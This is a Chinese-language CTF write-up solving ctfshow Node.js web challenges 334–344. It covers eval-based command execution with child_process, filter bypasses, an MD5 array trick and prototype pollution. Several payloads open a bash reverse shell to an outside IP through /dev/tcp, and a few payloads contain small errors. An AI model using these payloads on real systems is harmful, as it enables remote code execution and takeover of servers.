ctfshwo_web_Node.js

[d35a0a1d13f821fd55a6951210c672ac_8868204139408761896.png (2154×1320) (mihoyo.com)](https://webstatic.mihoyo.com/upload/contentweb/2022/07/04/d35a0a1d13f821fd55a6951210c672ac_8868204139408761896.png)

主要是原型链污染的题目

web334

下载题目附件以zip的形式解压在login.js文件可以找到账号密码

web335

打开环境查看源代码

image-20231204150853844

考察如何在nodejs执行命令

法一

1
?eval=require('child_process').execSync('ls')
1
?eval=require('child_process').execSync('cat f*')

法二

还有一个函数

image-20231204152742224

1
eval=require('child_process').spawnSync('ls',['.']).output
1
eval=require('child_process').spawnSync('tac',['fl00g.txt']).output

web336

添加了一些过滤

本来的话是.execSync,我们这里可以修改为['exe'+'Sync'],小知识[xxx]=.xxx

payload

1
2
?eval=require('child_process')['exe'%2B'cSync']('ls')
?eval=require('child_process')['exe'%2B'cSync']('cat f*')

上题的方法二仍然可以使用

web337

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

题解

重点是这句

1
2
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);

数组绕过

1
a[]=1&b=1

image-20231204155313873

web338

url/login用application/json传参

1
2
3
{
"__proto__":{"ctfshow":"36dboy"}
}

web339

题目把整个源码都给我们了,我看wp说有两种解法,我就做了预期解,非预期解好像是说这个模板有漏洞,这是可以利用的源码内容

1
2
3
4
5
6
7
8
9
10
11
12
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
1
2
3
4
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});

Function可以执行命令,如果控制query的值就可以。通过修改__photo__的值来实现原型链污染。

构造payload反弹shell

访问url/login然后POST的enctype选择application/json

1
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/116.63.169.81/4000 0>&1\"')"}}

然后再POST访问url/api

image-20231207172001437

在服务器监听开放的端口即可

image-20231207172354144

web340

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}


});

与上题相比变化不大,只是多了一个user,再套一层就可以。

一关的payload基础上多加一个__proto__即可,具体payload如下

1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/IP地址/监听端口 0>&1\"')"}}}

web341

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/116.63.169.81/4000 0>&1\"');var __tmp2"}}}

web344

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}

});

题解

过滤了,尝试绕过

payload

1
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}